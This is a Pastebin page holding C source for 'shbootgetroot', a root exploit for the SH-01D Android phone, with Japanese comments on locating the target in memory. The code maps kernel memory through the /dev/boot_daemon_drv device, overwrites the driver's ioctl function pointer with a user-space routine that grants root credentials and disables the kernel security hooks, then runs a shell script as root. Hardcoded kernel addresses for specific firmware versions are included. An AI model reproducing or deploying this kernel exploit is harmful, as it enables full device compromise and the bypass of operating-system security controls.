Advertisement
goroh_kun

SH-01Dのroot取得プログラムshbootgetroot

Feb 24th, 2012
2,120
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 11.90 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <stdint.h>
  3. #include <stdlib.h>
  4. #include <unistd.h>
  5. #include <fcntl.h>
  6. #include <errno.h>
  7. #include <sys/stat.h>
  8. #include <fcntl.h>
  9. #include <sys/mman.h>
  10. #include <sys/ioctl.h>
  11. #include "kexec.h"
  12.  
  13. void memdump(char* addr, int num)
  14. {
  15.     int i, j;
  16.     int n = (num + 15) / 16;
  17.     for (j=0; j<n; j++){
  18.         printf("%08x : ", addr);
  19.         for(i=0; i<16; i++){
  20.             printf("%02x ", *addr++);
  21.         }
  22.         addr -= 16;
  23.         for(i=0; i<16; i++){
  24.             if (*addr>=0x20 && *addr<0x80) {
  25.                  printf("%c", *addr);
  26.             } else {
  27.                 printf(".");
  28.             }
  29.             addr++;
  30.         }
  31.         printf("\n");
  32.     }
  33. }
  34.  
  35. volatile int iscalled = 0;
  36. unsigned long (*kallsyms_lookup_name)(const char *name) = (void*)0;
  37.  
  38. long getroot_ioctl(unsigned int fd, unsigned int cmd, unsigned long arg)
  39. {
  40.     if(kallsyms_lookup_name == 0) return 0;
  41.  
  42.     int(*commit_creds)(void*) = (void*)kallsyms_lookup_name("commit_creds");
  43.     void*(*prepare_kernel_cred)(void*) = (void*)kallsyms_lookup_name("prepare_kernel_cred");
  44.     void (*reset_security_ops)(void) = (void*)kallsyms_lookup_name("reset_security_ops");
  45.  
  46.     if(commit_creds != 0 && prepare_kernel_cred != 0){
  47.         commit_creds(prepare_kernel_cred(0));
  48.     }
  49.  
  50.     if(reset_security_ops != 0){
  51.         reset_security_ops();
  52.     }
  53.  
  54.     iscalled = 1;
  55.     return 0;
  56. }
  57.  
  58. // goroh_kun wrote:
  59. //
  60. // (1)ダンプしたテキスト内で以下の文字列を探します
  61. //
  62. // deadline
  63. //
  64. // ※その0x70ぐらい上にnoopが見える箇所です。
  65. //
  66. // (2)その0x400ぐらい下に以下のバイトパターンが存在する
  67. // 24 01 00 00 xx xx xx c0 00 00 00 00 xx xx xx c0 00 00 00 00
  68. // 24 01 00 00 xx xx xx c0 00 00 00 00 xx xx xx c0 00 00 00 00
  69. // 24 01 00 00 xx xx xx c0 00 00 00 00 00 00 00 00 00 00 00 00
  70. //
  71. // (3)その次の xx xx xx c0がshboot_daemon_readのアドレスです。
  72. // (4)(3)の次のxx xx xx c0がshboot_daemon_writeのアドレスです。
  73. // (5)次しばらく0が続いて、次のxx xx xx c0がshboot_daemon_mmap,shboot_daemon_open
  74. // (6)shboot_daemon_mmapの一個前の00 00 00 00がcompat_ioctl,その一個前の00 00 00 00が
  75. // unlocked_ioctl関数のポインタになります。
  76. //
  77. // このunlocked_ioctlのデータにパッチを当てるのが良いと思います。
  78. // 既に/dev/boot_daemon_drvはopen済みですし。
  79. //
  80. // オススメは、shbootgetrootプログラム内にroot取得関数をおいておき、
  81. // その関数のアドレスを書いてしまうのが良いと思います。
  82. //
  83. // そうすれば、/dev/boot_daemon_drvのfdに対してioctlした段階で、root取得関数が
  84. // 呼ばれるようになります。
  85. //
  86.  
  87. unsigned long patch_mem(unsigned int* mem, unsigned long length)
  88. {
  89.     char* addr = (char*)mem;
  90.     while(addr < (char*)mem + length - 136) {
  91.  
  92.         if (
  93. /*
  94.             addr[  0] == 0x24 && addr[  1] == 0x01 && addr[  2] == 0x00 && addr[  3] == 0x00 &&
  95.                                                                            addr[  7] == 0xc0 &&
  96.             addr[  8] == 0x00 && addr[  9] == 0x00 && addr[ 10] == 0x00 && addr[ 11] == 0x00 &&
  97.                                                                            addr[ 15] == 0xc0 &&
  98.             addr[ 16] == 0x00 && addr[ 17] == 0x00 && addr[ 18] == 0x00 && addr[ 19] == 0x00 &&
  99.             addr[ 20] == 0x24 && addr[ 21] == 0x01 && addr[ 22] == 0x00 && addr[ 23] == 0x00 &&
  100.                                                                            addr[ 27] == 0xc0 &&
  101.             addr[ 28] == 0x00 && addr[ 29] == 0x00 && addr[ 30] == 0x00 && addr[ 31] == 0x00 &&
  102.                                                                            addr[ 35] == 0xc0 &&
  103.             addr[ 36] == 0x00 && addr[ 37] == 0x00 && addr[ 38] == 0x00 && addr[ 39] == 0x00 &&
  104.             addr[ 20] == 0x24 && addr[ 21] == 0x01 && addr[ 22] == 0x00 && addr[ 23] == 0x00 &&
  105.                                                                            addr[ 27] == 0xc0 &&
  106.             addr[ 28] == 0x00 && addr[ 29] == 0x00 && addr[ 30] == 0x00 && addr[ 31] == 0x00 &&
  107. */
  108.             addr[ 32] == 0x00 && addr[ 33] == 0x00 && addr[ 34] == 0x00 && addr[ 35] == 0x00 && //(owner)
  109.             addr[ 36] == 0x00 && addr[ 37] == 0x00 && addr[ 38] == 0x00 && addr[ 39] == 0x00 && //(llseek)
  110.                                                                            addr[ 43] == 0xc0 && //shboot_daemon_read
  111.                                                                            addr[ 47] == 0xc0 && //shboot_daemon_write (-0xc8)
  112.             addr[ 48] == 0x00 && addr[ 49] == 0x00 && addr[ 50] == 0x00 && addr[ 51] == 0x00 && //(aio_read)
  113.             addr[ 52] == 0x00 && addr[ 53] == 0x00 && addr[ 54] == 0x00 && addr[ 55] == 0x00 && //(aio_write)
  114.             addr[ 56] == 0x00 && addr[ 57] == 0x00 && addr[ 58] == 0x00 && addr[ 59] == 0x00 && //(readdir)
  115.             addr[ 60] == 0x00 && addr[ 61] == 0x00 && addr[ 62] == 0x00 && addr[ 63] == 0x00 && //(poll)
  116.             addr[ 64] == 0x00 && addr[ 65] == 0x00 && addr[ 66] == 0x00 && addr[ 67] == 0x00 && //(ioctl)
  117.             addr[ 68] == 0x00 && addr[ 69] == 0x00 && addr[ 70] == 0x00 && addr[ 71] == 0x00 && //(unlocked_ioctl)
  118.             addr[ 72] == 0x00 && addr[ 73] == 0x00 && addr[ 74] == 0x00 && addr[ 75] == 0x00 && //(compat_ioctl)
  119.                                                                            addr[ 79] == 0xc0 && //shboot_daemon_mmap (-0x120)
  120.                                                                            addr[ 83] == 0xc0 && //shboot_daemon_open (-0x164)
  121.             addr[ 84] == 0x00 && addr[ 85] == 0x00 && addr[ 86] == 0x00 && addr[ 87] == 0x00 && //(flush)
  122.                                                                            addr[ 91] == 0xc0 && //shboot_daemon_release (-0x140)
  123.             addr[ 92] == 0x00 && addr[ 93] == 0x00 && addr[ 94] == 0x00 && addr[ 95] == 0x00 && //(fsync)
  124.             addr[ 96] == 0x00 && addr[ 97] == 0x00 && addr[ 98] == 0x00 && addr[ 99] == 0x00 && //(aio_fsync)
  125.             addr[100] == 0x00 && addr[101] == 0x00 && addr[102] == 0x00 && addr[103] == 0x00 && //(fasync)
  126.             addr[104] == 0x00 && addr[105] == 0x00 && addr[106] == 0x00 && addr[107] == 0x00 && //(lock)
  127.             addr[108] == 0x00 && addr[109] == 0x00 && addr[110] == 0x00 && addr[111] == 0x00 && //(sendpage)
  128.             addr[112] == 0x00 && addr[113] == 0x00 && addr[114] == 0x00 && addr[115] == 0x00 && //(get_unmapped_area)
  129.             addr[116] == 0x00 && addr[117] == 0x00 && addr[118] == 0x00 && addr[119] == 0x00 && //(check_flags)
  130.             addr[120] == 0x00 && addr[121] == 0x00 && addr[122] == 0x00 && addr[123] == 0x00 && //(flock)
  131.             addr[124] == 0x00 && addr[125] == 0x00 && addr[126] == 0x00 && addr[127] == 0x00 && //(splice_write)
  132.             addr[128] == 0x00 && addr[129] == 0x00 && addr[130] == 0x00 && addr[131] == 0x00 && //(splice_read)
  133.             addr[132] == 0x00 && addr[133] == 0x00 && addr[134] == 0x00 && addr[135] == 0x00    //(setlease)
  134.         ) {
  135.             printf("addr=%08x\n", addr);
  136.             fflush(stdout);
  137.             unsigned long *p_read    = (unsigned long*)(addr[40] + (addr[41]<<8) + (addr[42]<<16) + (addr[43]<<24));
  138.             unsigned long *p_write   = (unsigned long*)(addr[44] + (addr[45]<<8) + (addr[46]<<16) + (addr[47]<<24));
  139.             unsigned long *p_mmap    = (unsigned long*)(addr[76] + (addr[77]<<8) + (addr[78]<<16) + (addr[79]<<24));
  140.             unsigned long *p_open    = (unsigned long*)(addr[80] + (addr[81]<<8) + (addr[82]<<16) + (addr[83]<<24));
  141.             unsigned long *p_release = (unsigned long*)(addr[88] + (addr[89]<<8) + (addr[90]<<16) + (addr[91]<<24));
  142.             printf("read=%08x\n", p_read);
  143.             printf("write=%08x\n", p_write);
  144.             printf("mmap=%08x\n", p_mmap);
  145.             printf("open=%08x\n", p_open);
  146.             printf("release=%08x\n", p_release);
  147.             fflush(stdout);
  148.  
  149. //#define GETROOT_NEED_CHECK_ADDRESS_OFFSET
  150. #ifdef GETROOT_NEED_CHECK_ADDRESS_OFFSET
  151.             if (p_read - p_write == 0xc8 && p_read - p_mmap == 0x120 &&
  152.                 p_read - p_open == 0x164 && p_release - p_open == 0x140) {
  153. #endif
  154.                 printf("found at %08x\n", (addr));
  155.                 fflush(stdout);
  156.  
  157.                 memdump((char*)(addr+32), 0x68);
  158.                 fflush(stdout);
  159.  
  160.                 addr[68] = (unsigned long)&getroot_ioctl & 0xff;
  161.                 addr[69] = ((unsigned long)&getroot_ioctl>>8) & 0xff;
  162.                 addr[70] = ((unsigned long)&getroot_ioctl>>16) & 0xff;
  163.                 addr[71] = ((unsigned long)&getroot_ioctl>>24) & 0xff;
  164.                 return (unsigned long)(addr + 68);
  165.  
  166. #ifdef GETROOT_NEED_CHECK_ADDRESS_OFFSET
  167.             }
  168. #endif
  169.             printf("\n");
  170.         }
  171.         addr += 4;
  172.     }
  173.     return -1;
  174. }
  175.  
  176. int callback(void *data, int nr, char *str, unsigned long targetbase, unsigned long targetlength)
  177. {
  178.     unsigned long addr;
  179.     int fd = open("/dev/boot_daemon_drv", O_RDWR);
  180.     printf("mmap base=%08x length=%08x\n", targetbase, targetlength);
  181.     if(fd < 0){
  182.         printf("open failed \"%s\"(%d)\n", strerror(errno), errno);
  183.         return 0;
  184.     }
  185.  
  186.     addr = 0x10000000;
  187.     unsigned int *mem = (unsigned int*)mmap(
  188.         (void*)addr, targetlength, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_SHARED, fd, targetbase);
  189.     if(mem == MAP_FAILED)
  190.     {
  191.         printf("mmap error %08X \"%s\"(%d)\n", targetbase, strerror(errno), errno);
  192.     } else {
  193.  
  194.         char buf[0x4000];
  195.         int fdmap = open("/proc/self/maps", O_RDONLY);
  196.         int ret = read(fdmap, buf, sizeof(buf));
  197.         write(0, buf, ret);
  198.         fflush(stdout);
  199.         close(fdmap);
  200.  
  201.         printf("mem=%08x\n", mem);
  202.         fflush(stdout);
  203.  
  204.         unsigned long patch = patch_mem(mem, targetlength);
  205.         if (patch != -1) {
  206.             if (munmap(mem, targetlength)) {
  207.                 printf("munmap error \"%s\"(%d)\n", strerror(errno), errno);
  208.             } else {
  209.                 printf("munmaped\n");
  210.             }
  211.             fflush(stdout);
  212.  
  213.             usleep(100000);
  214.  
  215.             ioctl(fd, 0, 0);
  216.             printf("iscalled=%d\n", iscalled);
  217.  
  218.             usleep(100000);
  219.  
  220.             mem = (unsigned int*)mmap(
  221.                 (void*)addr, targetlength, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_SHARED, fd, targetbase);
  222.             if(mem == MAP_FAILED) {
  223.                 printf("re-mmap error %08X \"%s\"(%d)\n", targetbase, strerror(errno), errno);
  224.             } else {
  225.                 printf("remmaped\n");
  226.                 char* a = (char*) patch;
  227.                 memdump((char*)(a-36), 0x68);
  228.                 printf("\n");
  229.                 a[0] =0;
  230.                 a[1] =0;
  231.                 a[2] =0;
  232.                 a[3] =0;
  233.                 printf("re-patched\n");
  234.                 memdump((char*)(a-36), 0x68);
  235.                 printf("\n");
  236.             }
  237.             close(fd);
  238. //            execl("/system/bin/sh", "/system/bin/sh", "-i", NULL);
  239.             {
  240.                 char *par[10];
  241.                 par[0] = "/system/bin/sh";
  242.                 par[1] = "/data/local/autoexec.sh";
  243.                 par[2] = (char*)0;
  244.                 execve(par[0],par, environ);
  245.             }
  246.             return -1;
  247.         }
  248.  
  249.         if (munmap(mem, targetlength)) {
  250.             printf("munmap error \"%s\"(%d)\n", strerror(errno), errno);
  251.         }
  252.  
  253.         if (close(fd)) {
  254.             printf("close error \"%s\"(%d)\n", strerror(errno), errno);
  255.         }
  256.  
  257.         return 0;
  258.     }
  259.     close(fd);
  260.     return 0;
  261. }
  262.  
  263. int main(int argc, char** argv)
  264. {
  265.     if(argc < 2) return -1;
  266.     switch(atoi(argv[1])){
  267.     case 0: // 01.00.01
  268.         kallsyms_lookup_name = (void*)0xc00be3b4;
  269.         break;
  270.     case 1: // 01.00.03
  271.     case 2: // 01.00.04
  272.         kallsyms_lookup_name = (void*)0xc00bf784;
  273.         break;
  274.     }
  275.     kexec_iomem_for_each_line("Kernel data", callback, 0);
  276.     return 0;
  277. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement